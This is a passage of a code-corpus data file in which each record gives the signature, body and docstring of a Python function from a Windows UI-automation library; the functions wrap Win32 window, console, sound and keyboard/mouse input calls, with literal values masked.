{"signature": "def GetAncestor(handle: int, flag: int) -> int:", "body": "return ctypes.windll.user32.GetAncestor(ctypes.c_void_p(handle), flag)<EOL>", "docstring": "GetAncestor from Win32.\nhandle: int, the handle of a native window.\nindex: int, a value in class `GAFlag`.\nReturn int, a native window handle.", "id": "f1782:m30"}
{"signature": "def IsTopLevelWindow(handle: int) -> bool:", "body": "return bool(ctypes.windll.user32.IsTopLevelWindow(ctypes.c_void_p(handle)))<EOL>", "docstring": "IsTopLevelWindow from Win32.\nhandle: int, the handle of a native window.\nReturn bool.\nOnly available on Windows 7 or Higher.", "id": "f1782:m31"}
{"signature": "def GetWindowLong(handle: int, index: int) -> int:", "body": "return ctypes.windll.user32.GetWindowLongW(ctypes.c_void_p(handle), index)<EOL>", "docstring": "GetWindowLong from Win32.\nhandle: int, the handle of a native window.\nindex: int.", "id": "f1782:m32"}
{"signature": "def SetWindowLong(handle: int, index: int, value: int) -> int:", "body": "return ctypes.windll.user32.SetWindowLongW(ctypes.c_void_p(handle), index, value)<EOL>", "docstring": "SetWindowLong from Win32.\nhandle: int, the handle of a native window.\nindex: int.\nvalue: int.\nReturn int, the previous value before set.", "id": "f1782:m33"}
{"signature": "def IsIconic(handle: int) -> bool:", "body": "return bool(ctypes.windll.user32.IsIconic(ctypes.c_void_p(handle)))<EOL>", "docstring": "IsIconic from Win32.\nDetermine whether a native window is minimized.\nhandle: int, the handle of a native window.\nReturn bool.", "id": "f1782:m34"}
{"signature": "def IsZoomed(handle: int) -> bool:", "body": "return bool(ctypes.windll.user32.IsZoomed(ctypes.c_void_p(handle)))<EOL>", "docstring": "IsZoomed from Win32.\nDetermine whether a native window is maximized.\nhandle: int, the handle of a native window.\nReturn bool.", "id": "f1782:m35"}
{"signature": "def IsWindowVisible(handle: int) -> bool:", "body": "return bool(ctypes.windll.user32.IsWindowVisible(ctypes.c_void_p(handle)))<EOL>", "docstring": "IsWindowVisible from Win32.\nhandle: int, the handle of a native window.\nReturn bool.", "id": "f1782:m36"}
{"signature": "def ShowWindow(handle: int, cmdShow: int) -> bool:", "body": "return ctypes.windll.user32.ShowWindow(ctypes.c_void_p(handle), cmdShow)<EOL>", "docstring": "ShowWindow from Win32.\nhandle: int, the handle of a native window.\ncmdShow: int, a value in clas `SW`.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m37"}
{"signature": "def MoveWindow(handle: int, x: int, y: int, width: int, height: int, repaint: int = <NUM_LIT:1>) -> bool:", "body": "return bool(ctypes.windll.user32.MoveWindow(ctypes.c_void_p(handle), x, y, width, height, repaint))<EOL>", "docstring": "MoveWindow from Win32.\nhandle: int, the handle of a native window.\nx: int.\ny: int.\nwidth: int.\nheight: int.\nrepaint: int, use 1 or 0.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m38"}
{"signature": "def SetWindowPos(handle: int, hWndInsertAfter: int, x: int, y: int, width: int, height: int, flags: int) -> bool:", "body": "return ctypes.windll.user32.SetWindowPos(ctypes.c_void_p(handle), ctypes.c_void_p(hWndInsertAfter), x, y, width, height, flags)<EOL>", "docstring": "SetWindowPos from Win32.\nhandle: int, the handle of a native window.\nhWndInsertAfter: int, a value whose name starts with 'HWND' in class SWP.\nx: int.\ny: int.\nwidth: int.\nheight: int.\nflags: int, values whose name starts with 'SWP' in class `SWP`.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m39"}
{"signature": "def SetWindowTopmost(handle: int, isTopmost: bool) -> bool:", "body": "topValue = SWP.HWND_Topmost if isTopmost else SWP.HWND_NoTopmost<EOL>return bool(SetWindowPos(handle, topValue, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, SWP.SWP_NoSize | SWP.SWP_NoMove))<EOL>", "docstring": "handle: int, the handle of a native window.\nisTopmost: bool\nReturn bool, True if succeed otherwise False.", "id": "f1782:m40"}
{"signature": "def GetWindowText(handle: int) -> str:", "body": "arrayType = ctypes.c_wchar * MAX_PATH<EOL>values = arrayType()<EOL>ctypes.windll.user32.GetWindowTextW(ctypes.c_void_p(handle), values, MAX_PATH)<EOL>return values.value<EOL>", "docstring": "GetWindowText from Win32.\nhandle: int, the handle of a native window.\nReturn str.", "id": "f1782:m41"}
{"signature": "def SetWindowText(handle: int, text: str) -> bool:", "body": "return bool(ctypes.windll.user32.SetWindowTextW(ctypes.c_void_p(handle), ctypes.c_wchar_p(text)))<EOL>", "docstring": "SetWindowText from Win32.\nhandle: int, the handle of a native window.\ntext: str.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m42"}
{"signature": "def GetEditText(handle: int) -> str:", "body": "textLen = SendMessage(handle, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0>) + <NUM_LIT:1>  <EOL>arrayType = ctypes.c_wchar * textLen<EOL>values = arrayType()<EOL>SendMessage(handle, <NUM_LIT>, textLen, values)  <EOL>return values.value<EOL>", "docstring": "Get text of a native Win32 Edit.\nhandle: int, the handle of a native window.\nReturn str.", "id": "f1782:m43"}
{"signature": "def GetConsoleOriginalTitle() -> str:", "body": "if IsNT6orHigher:<EOL><INDENT>arrayType = ctypes.c_wchar * MAX_PATH<EOL>values = arrayType()<EOL>ctypes.windll.kernel32.GetConsoleOriginalTitleW(values, MAX_PATH)<EOL>return values.value<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "GetConsoleOriginalTitle from Win32.\nReturn str.\nOnly available on Windows Vista or higher.", "id": "f1782:m44"}
{"signature": "def GetConsoleTitle() -> str:", "body": "arrayType = ctypes.c_wchar * MAX_PATH<EOL>values = arrayType()<EOL>ctypes.windll.kernel32.GetConsoleTitleW(values, MAX_PATH)<EOL>return values.value<EOL>", "docstring": "GetConsoleTitle from Win32.\nReturn str.", "id": "f1782:m45"}
{"signature": "def SetConsoleTitle(text: str) -> bool:", "body": "return bool(ctypes.windll.kernel32.SetConsoleTitleW(ctypes.c_wchar_p(text)))<EOL>", "docstring": "SetConsoleTitle from Win32.\ntext: str.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m46"}
{"signature": "def GetForegroundWindow() -> int:", "body": "return ctypes.windll.user32.GetForegroundWindow()<EOL>", "docstring": "GetForegroundWindow from Win32.\nReturn int, the native handle of the foreground window.", "id": "f1782:m47"}
{"signature": "def IsDesktopLocked() -> bool:", "body": "isLocked = False<EOL>desk = ctypes.windll.user32.OpenDesktopW(ctypes.c_wchar_p('<STR_LIT>'), <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT>)  <EOL>if desk:<EOL><INDENT>isLocked = not ctypes.windll.user32.SwitchDesktop(desk)<EOL>ctypes.windll.user32.CloseDesktop(desk)<EOL><DEDENT>return isLocked<EOL>", "docstring": "Check if desktop is locked.\nReturn bool.\nDesktop is locked if press Win+L, Ctrl+Alt+Del or in remote desktop mode.", "id": "f1782:m48"}
{"signature": "def PlayWaveFile(filePath: str = r'<STR_LIT>', isAsync: bool = False, isLoop: bool = False) -> bool:", "body": "if filePath:<EOL><INDENT>SND_ASYNC = <NUM_LIT><EOL>SND_NODEFAULT = <NUM_LIT><EOL>SND_LOOP = <NUM_LIT><EOL>SND_FILENAME = <NUM_LIT><EOL>flags = SND_NODEFAULT | SND_FILENAME<EOL>if isAsync:<EOL><INDENT>flags |= SND_ASYNC<EOL><DEDENT>if isLoop:<EOL><INDENT>flags |= SND_LOOP<EOL>flags |= SND_ASYNC<EOL><DEDENT>return bool(ctypes.windll.winmm.PlaySoundW(ctypes.c_wchar_p(filePath), ctypes.c_void_p(<NUM_LIT:0>), flags))<EOL><DEDENT>else:<EOL><INDENT>return bool(ctypes.windll.winmm.PlaySoundW(ctypes.c_wchar_p(<NUM_LIT:0>), ctypes.c_void_p(<NUM_LIT:0>), <NUM_LIT:0>))<EOL><DEDENT>", "docstring": "Call PlaySound from Win32.\nfilePath: str, if emtpy, stop playing the current sound.\nisAsync: bool, if True, the sound is played asynchronously and returns immediately.\nisLoop: bool, if True, the sound plays repeatedly until PlayWaveFile(None) is called again, must also set isAsync to True.\nReturn bool, True if succeed otherwise False.", "id": "f1782:m49"}
{"signature": "def IsProcess64Bit(processId: int) -> bool:", "body": "try:<EOL><INDENT>func = ctypes.windll.ntdll.ZwWow64ReadVirtualMemory64  <EOL><DEDENT>except Exception as ex:<EOL><INDENT>return False<EOL><DEDENT>try:<EOL><INDENT>IsWow64Process = ctypes.windll.kernel32.IsWow64Process<EOL>IsWow64Process.argtypes = (ctypes.c_void_p, ctypes.POINTER(ctypes.c_int))<EOL><DEDENT>except Exception as ex:<EOL><INDENT>return False<EOL><DEDENT>hProcess = ctypes.windll.kernel32.OpenProcess(<NUM_LIT>, <NUM_LIT:0>, processId)  <EOL>if hProcess:<EOL><INDENT>is64Bit = ctypes.c_int32()<EOL>if IsWow64Process(hProcess, ctypes.byref(is64Bit)):<EOL><INDENT>ctypes.windll.kernel32.CloseHandle(ctypes.c_void_p(hProcess))<EOL>return False if is64Bit.value else True<EOL><DEDENT>else:<EOL><INDENT>ctypes.windll.kernel32.CloseHandle(ctypes.c_void_p(hProcess))<EOL><DEDENT><DEDENT>", "docstring": "Return True if process is 64 bit.\nReturn False if process is 32 bit.\nReturn None if unknown, maybe caused by having no acess right to the process.", "id": "f1782:m50"}
{"signature": "def IsUserAnAdmin() -> bool:", "body": "return bool(ctypes.windll.shell32.IsUserAnAdmin())<EOL>", "docstring": "IsUserAnAdmin from Win32.\nReturn bool.\nMinimum supported OS: Windows XP, Windows Server 2003", "id": "f1782:m51"}
{"signature": "def RunScriptAsAdmin(argv: list, workingDirectory: str = None, showFlag: int = SW.ShowNormal) -> bool:", "body": "args = '<STR_LIT:U+0020>'.join('<STR_LIT>'.format(arg) for arg in argv)<EOL>return ctypes.windll.shell32.ShellExecuteW(None, \"<STR_LIT>\", sys.executable, args, workingDirectory, showFlag) > <NUM_LIT:32><EOL>", "docstring": "Run a python script as administrator.\nSystem will show a popup dialog askes you whether to elevate as administrator if UAC is enabled.\nargv: list, a str list like sys.argv, argv[0] is the script file, argv[1:] are other arguments.\nworkingDirectory: str, the working directory for the script file.\nshowFlag: int, a value in class `SW`.\nReturn bool, True if succeed.", "id": "f1782:m52"}
{"signature": "def SendKey(key: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "keybd_event(key, <NUM_LIT:0>, KeyboardEventFlag.KeyDown | KeyboardEventFlag.ExtendedKey, <NUM_LIT:0>)<EOL>keybd_event(key, <NUM_LIT:0>, KeyboardEventFlag.KeyUp | KeyboardEventFlag.ExtendedKey, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Simulate typing a key.\nkey: int, a value in class `Keys`.", "id": "f1782:m53"}
{"signature": "def PressKey(key: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "keybd_event(key, <NUM_LIT:0>, KeyboardEventFlag.KeyDown | KeyboardEventFlag.ExtendedKey, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Simulate a key down for key.\nkey: int, a value in class `Keys`.\nwaitTime: float.", "id": "f1782:m54"}
{"signature": "def ReleaseKey(key: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "keybd_event(key, <NUM_LIT:0>, KeyboardEventFlag.KeyUp | KeyboardEventFlag.ExtendedKey, <NUM_LIT:0>)<EOL>time.sleep(waitTime)<EOL>", "docstring": "Simulate a key up for key.\nkey: int, a value in class `Keys`.\nwaitTime: float.", "id": "f1782:m55"}
{"signature": "def IsKeyPressed(key: int) -> bool:", "body": "state = ctypes.windll.user32.GetAsyncKeyState(key)<EOL>return bool(state & <NUM_LIT>)<EOL>", "docstring": "key: int, a value in class `Keys`.\nReturn bool.", "id": "f1782:m56"}
{"signature": "def _CreateInput(structure) -> INPUT:", "body": "if isinstance(structure, MOUSEINPUT):<EOL><INDENT>return INPUT(InputType.Mouse, _INPUTUnion(mi=structure))<EOL><DEDENT>if isinstance(structure, KEYBDINPUT):<EOL><INDENT>return INPUT(InputType.Keyboard, _INPUTUnion(ki=structure))<EOL><DEDENT>if isinstance(structure, HARDWAREINPUT):<EOL><INDENT>return INPUT(InputType.Hardware, _INPUTUnion(hi=structure))<EOL><DEDENT>raise TypeError('<STR_LIT>')<EOL>", "docstring": "Create Win32 struct `INPUT` for `SendInput`.\nReturn `INPUT`.", "id": "f1782:m57"}
{"signature": "def MouseInput(dx: int, dy: int, mouseData: int = <NUM_LIT:0>, dwFlags: int = MouseEventFlag.LeftDown, time_: int = <NUM_LIT:0>) -> INPUT:", "body": "return _CreateInput(MOUSEINPUT(dx, dy, mouseData, dwFlags, time_, None))<EOL>", "docstring": "Create Win32 struct `MOUSEINPUT` for `SendInput`.\nReturn `INPUT`.", "id": "f1782:m58"}
{"signature": "def KeyboardInput(wVk: int, wScan: int, dwFlags: int = KeyboardEventFlag.KeyDown, time_: int = <NUM_LIT:0>) -> INPUT:", "body": "return _CreateInput(KEYBDINPUT(wVk, wScan, dwFlags, time_, None))<EOL>", "docstring": "Create Win32 struct `KEYBDINPUT` for `SendInput`.", "id": "f1782:m59"}
{"signature": "def HardwareInput(uMsg: int, param: int = <NUM_LIT:0>) -> INPUT:", "body": "return _CreateInput(HARDWAREINPUT(uMsg, param & <NUM_LIT>, param >> <NUM_LIT:16> & <NUM_LIT>))<EOL>", "docstring": "Create Win32 struct `HARDWAREINPUT` for `SendInput`.", "id": "f1782:m60"}
{"signature": "def SendInput(*inputs) -> int:", "body": "nInputs = len(inputs)<EOL>LPINPUT = INPUT * nInputs<EOL>pInputs = LPINPUT(*inputs)<EOL>cbSize = ctypes.c_int(ctypes.sizeof(INPUT))<EOL>return ctypes.windll.user32.SendInput(nInputs, pInputs, cbSize)<EOL>", "docstring": "SendInput from Win32.\ninput: `INPUT`.\nReturn int, the number of events that it successfully inserted into the keyboard or mouse input stream.\n            If the function returns zero, the input was already blocked by another thread.", "id": "f1782:m61"}
{"signature": "def SendUnicodeChar(char: str) -> int:", "body": "return SendInput(KeyboardInput(<NUM_LIT:0>, ord(char), KeyboardEventFlag.KeyUnicode | KeyboardEventFlag.KeyDown),<EOL>KeyboardInput(<NUM_LIT:0>, ord(char), KeyboardEventFlag.KeyUnicode | KeyboardEventFlag.KeyUp))<EOL>", "docstring": "Type a single unicode char.\nchar: str, len(char) must equal to 1.\nReturn int, the number of events that it successfully inserted into the keyboard or mouse input stream.\n            If the function returns zero, the input was already blocked by another thread.", "id": "f1782:m62"}
{"signature": "def _VKtoSC(key: int) -> int:", "body": "if key in _SCKeys:<EOL><INDENT>return _SCKeys[key]<EOL><DEDENT>scanCode = ctypes.windll.user32.MapVirtualKeyA(key, <NUM_LIT:0>)<EOL>if not scanCode:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>keyList = [Keys.VK_APPS, Keys.VK_CANCEL, Keys.VK_SNAPSHOT, Keys.VK_DIVIDE, Keys.VK_NUMLOCK]<EOL>if key in keyList:<EOL><INDENT>scanCode |= <NUM_LIT><EOL><DEDENT>return scanCode<EOL>", "docstring": "This function is only for internal use in SendKeys.\nkey: int, a value in class `Keys`.\nReturn int.", "id": "f1782:m63"}
{"signature": "def SendKeys(text: str, interval: float = <NUM_LIT>, waitTime: float = OPERATION_WAIT_TIME, debug: bool = False) -> None:", "body": "holdKeys = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>keys = []<EOL>printKeys = []<EOL>i = <NUM_LIT:0><EOL>insertIndex = <NUM_LIT:0><EOL>length = len(text)<EOL>hold = False<EOL>include = False<EOL>lastKeyValue = None<EOL>while True:<EOL><INDENT>if text[i] == '<STR_LIT:{>':<EOL><INDENT>rindex = text.find('<STR_LIT:}>', i)<EOL>if rindex == i + <NUM_LIT:1>:<EOL><INDENT>rindex = text.find('<STR_LIT:}>', i + <NUM_LIT:2>)<EOL><DEDENT>if rindex == -<NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>key = text[i + <NUM_LIT:1>:rindex]<EOL>key = [it for it in key.split('<STR_LIT:U+0020>') if it]<EOL>if not key:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(text[i:rindex + <NUM_LIT:1>]))<EOL><DEDENT>if (len(key) == <NUM_LIT:2> and not key[<NUM_LIT:1>].isdigit()) or len(key) > <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(text[i:rindex + <NUM_LIT:1>]))<EOL><DEDENT>upperKey = key[<NUM_LIT:0>].upper()<EOL>count = <NUM_LIT:1><EOL>if len(key) > <NUM_LIT:1>:<EOL><INDENT>count = int(key[<NUM_LIT:1>])<EOL><DEDENT>for j in range(count):<EOL><INDENT>if hold:<EOL><INDENT>if upperKey in SpecialKeyNames:<EOL><INDENT>keyValue = SpecialKeyNames[upperKey]<EOL>if type(lastKeyValue) == type(keyValue) and lastKeyValue == keyValue:<EOL><INDENT>insertIndex += <NUM_LIT:1><EOL><DEDENT>printKeys.insert(insertIndex, (key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>printKeys.insert(insertIndex + <NUM_LIT:1>, (key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>keys.insert(insertIndex, (keyValue, KeyboardEventFlag.KeyDown | KeyboardEventFlag.ExtendedKey))<EOL>keys.insert(insertIndex + <NUM_LIT:1>, (keyValue, KeyboardEventFlag.KeyUp | KeyboardEventFlag.ExtendedKey))<EOL>lastKeyValue = keyValue<EOL><DEDENT>elif key[<NUM_LIT:0>] in CharacterCodes:<EOL><INDENT>keyValue = CharacterCodes[key[<NUM_LIT:0>]]<EOL>if type(lastKeyValue) == type(keyValue) and lastKeyValue == keyValue:<EOL><INDENT>insertIndex += <NUM_LIT:1><EOL><DEDENT>printKeys.insert(insertIndex, (key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>printKeys.insert(insertIndex + <NUM_LIT:1>, (key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>keys.insert(insertIndex, (keyValue, KeyboardEventFlag.KeyDown | KeyboardEventFlag.ExtendedKey))<EOL>keys.insert(insertIndex + <NUM_LIT:1>, (keyValue, KeyboardEventFlag.KeyUp | KeyboardEventFlag.ExtendedKey))<EOL>lastKeyValue = keyValue<EOL><DEDENT>else:<EOL><INDENT>printKeys.insert(insertIndex, (key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>keys.insert(insertIndex, (key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>lastKeyValue = key[<NUM_LIT:0>]<EOL><DEDENT>if include:<EOL><INDENT>insertIndex += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if upperKey in holdKeys:<EOL><INDENT>insertIndex += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>hold = False<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if upperKey in SpecialKeyNames:<EOL><INDENT>keyValue = SpecialKeyNames[upperKey]<EOL>printKeys.append((key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>printKeys.append((key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>keys.append((keyValue, KeyboardEventFlag.KeyDown | KeyboardEventFlag.ExtendedKey))<EOL>keys.append((keyValue, KeyboardEventFlag.KeyUp | KeyboardEventFlag.ExtendedKey))<EOL>lastKeyValue = keyValue<EOL>if upperKey in holdKeys:<EOL><INDENT>hold = True<EOL>insertIndex = len(keys) - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>hold = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>printKeys.append((key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>keys.append((key[<NUM_LIT:0>], '<STR_LIT>'))<EOL>lastKeyValue = key[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>i = rindex + <NUM_LIT:1><EOL><DEDENT>elif text[i] == '<STR_LIT:(>':<EOL><INDENT>if hold:<EOL><INDENT>include = True<EOL><DEDENT>else:<EOL><INDENT>printKeys.append((text[i], '<STR_LIT>'))<EOL>keys.append((text[i], '<STR_LIT>'))<EOL>lastKeyValue = text[i]<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>elif text[i] == '<STR_LIT:)>':<EOL><INDENT>if hold:<EOL><INDENT>include = False<EOL>hold = False<EOL><DEDENT>else:<EOL><INDENT>printKeys.append((text[i], '<STR_LIT>'))<EOL>keys.append((text[i], '<STR_LIT>'))<EOL>lastKeyValue = text[i]<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if hold:<EOL><INDENT>if text[i] in CharacterCodes:<EOL><INDENT>keyValue = CharacterCodes[text[i]]<EOL>if include and type(lastKeyValue) == type(keyValue) and lastKeyValue == keyValue:<EOL><INDENT>insertIndex += <NUM_LIT:1><EOL><DEDENT>printKeys.insert(insertIndex, (text[i], '<STR_LIT>'))<EOL>printKeys.insert(insertIndex + <NUM_LIT:1>, (text[i], '<STR_LIT>'))<EOL>keys.insert(insertIndex, (keyValue, KeyboardEventFlag.KeyDown | KeyboardEventFlag.ExtendedKey))<EOL>keys.insert(insertIndex + <NUM_LIT:1>, (keyValue, KeyboardEventFlag.KeyUp | KeyboardEventFlag.ExtendedKey))<EOL>lastKeyValue = keyValue<EOL><DEDENT>else:<EOL><INDENT>printKeys.append((text[i], '<STR_LIT>'))<EOL>keys.append((text[i], '<STR_LIT>'))<EOL>lastKeyValue = text[i]<EOL><DEDENT>if include:<EOL><INDENT>insertIndex += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>hold = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>printKeys.append((text[i], '<STR_LIT>'))<EOL>keys.append((text[i], '<STR_LIT>'))<EOL>lastKeyValue = text[i]<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>if i >= length:<EOL><INDENT>break<EOL><DEDENT><DEDENT>hotkeyInterval = <NUM_LIT><EOL>for i, key in enumerate(keys):<EOL><INDENT>if key[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>SendUnicodeChar(key[<NUM_LIT:0>])<EOL>time.sleep(interval)<EOL>if debug:<EOL><INDENT>Logger.ColorfullyWrite('<STR_LIT>'.format(printKeys[i], interval), writeToFile=False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>scanCode = _VKtoSC(key[<NUM_LIT:0>])<EOL>keybd_event(key[<NUM_LIT:0>], scanCode, key[<NUM_LIT:1>], <NUM_LIT:0>)<EOL>if debug:<EOL><INDENT>Logger.Write(printKeys[i], ConsoleColor.DarkGreen, writeToFile=False)<EOL><DEDENT>if i + <NUM_LIT:1> == len(keys):<EOL><INDENT>time.sleep(interval)<EOL>if debug:<EOL><INDENT>Logger.Write('<STR_LIT>'.format(interval), writeToFile=False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if key[<NUM_LIT:1>] & KeyboardEventFlag.KeyUp:<EOL><INDENT>if keys[i + <NUM_LIT:1>][<NUM_LIT:1>] == '<STR_LIT>' or keys[i + <NUM_LIT:1>][<NUM_LIT:1>] & KeyboardEventFlag.KeyUp == <NUM_LIT:0>:<EOL><INDENT>time.sleep(interval)<EOL>if debug:<EOL><INDENT>Logger.Write('<STR_LIT>'.format(interval), writeToFile=False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>time.sleep(hotkeyInterval)  <EOL>if debug:<EOL><INDENT>Logger.Write('<STR_LIT>'.format(hotkeyInterval), writeToFile=False)<EOL><DEDENT><DEDENT><DEDENT>else:  <EOL><INDENT>time.sleep(hotkeyInterval)<EOL>if debug:<EOL><INDENT>Logger.Write('<STR_LIT>'.format(hotkeyInterval), writeToFile=False)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>time.sleep(waitTime)<EOL>", "docstring": "Simulate typing keys on keyboard.\ntext: str, keys to type.\ninterval: float, seconds between keys.\nwaitTime: float.\ndebug: bool, if True, print the keys.\nExamples:\n{Ctrl}, {Delete} ... are special keys' name in SpecialKeyNames.\nSendKeys('{Ctrl}a{Delete}{Ctrl}v{Ctrl}s{Ctrl}{Shift}s{Win}e{PageDown}') #press Ctrl+a, Delete, Ctrl+v, Ctrl+s, Ctrl+Shift+s, Win+e, PageDown\nSendKeys('{Ctrl}(AB)({Shift}(123))') #press Ctrl+A+B, type (, press Shift+1+2+3, type ), if () follows a hold key, hold key won't release util )\nSendKeys('{Ctrl}{a 3}') #press Ctrl+a at the same time, release Ctrl+a, then type a 2 times\nSendKeys('{a 3}{B 5}') #type a 3 times, type B 5 times\nSendKeys('{{}Hello{}}abc {a}{b}{c} test{} 3}{!}{a} (){(}{)}') #type: {Hello}abc abc test}}}!a ()()\nSendKeys('0123456789{Enter}')\nSendKeys('ABCDEFGHIJKLMNOPQRSTUVWXYZ{Enter}')\nSendKeys('abcdefghijklmnopqrstuvwxyz{Enter}')\nSendKeys('`~!@#$%^&*()-_=+{Enter}')\nSendKeys('[]{{}{}}\\\\|;:\\'\\\",<.>/?{Enter}')", "id": "f1782:m64"}
{"signature": "def GetPatternIdInterface(patternId: int):", "body": "global _PatternIdInterfaces<EOL>if not _PatternIdInterfaces:<EOL><INDENT>_PatternIdInterfaces = {<EOL>PatternId.DockPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationDockPattern,<EOL>PatternId.ExpandCollapsePattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationExpandCollapsePattern,<EOL>PatternId.GridItemPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationGridItemPattern,<EOL>PatternId.GridPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationGridPattern,<EOL>PatternId.InvokePattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationInvokePattern,<EOL>PatternId.ItemContainerPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationItemContainerPattern,<EOL>PatternId.LegacyIAccessiblePattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationLegacyIAccessiblePattern,<EOL>PatternId.MultipleViewPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationMultipleViewPattern,<EOL>PatternId.RangeValuePattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationRangeValuePattern,<EOL>PatternId.ScrollItemPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationScrollItemPattern,<EOL>PatternId.ScrollPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationScrollPattern,<EOL>PatternId.SelectionItemPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationSelectionItemPattern,<EOL>PatternId.SelectionPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationSelectionPattern,<EOL>PatternId.SynchronizedInputPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationSynchronizedInputPattern,<EOL>PatternId.TableItemPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationTableItemPattern,<EOL>PatternId.TablePattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationTablePattern,<EOL>PatternId.TextPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationTextPattern,<EOL>PatternId.TogglePattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationTogglePattern,<EOL>PatternId.TransformPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationTransformPattern,<EOL>PatternId.ValuePattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationValuePattern,<EOL>PatternId.VirtualizedItemPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationVirtualizedItemPattern,<EOL>PatternId.WindowPattern: _AutomationClient.instance().UIAutomationCore.IUIAutomationWindowPattern,<EOL>}<EOL>debug = False<EOL>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.AnnotationPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationAnnotationPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.CustomNavigationPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationCustomNavigationPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.DragPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationDragPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.DropTargetPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationDropTargetPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.ObjectModelPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationObjectModelPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.SpreadsheetItemPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationSpreadsheetItemPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.SpreadsheetPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationSpreadsheetPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', 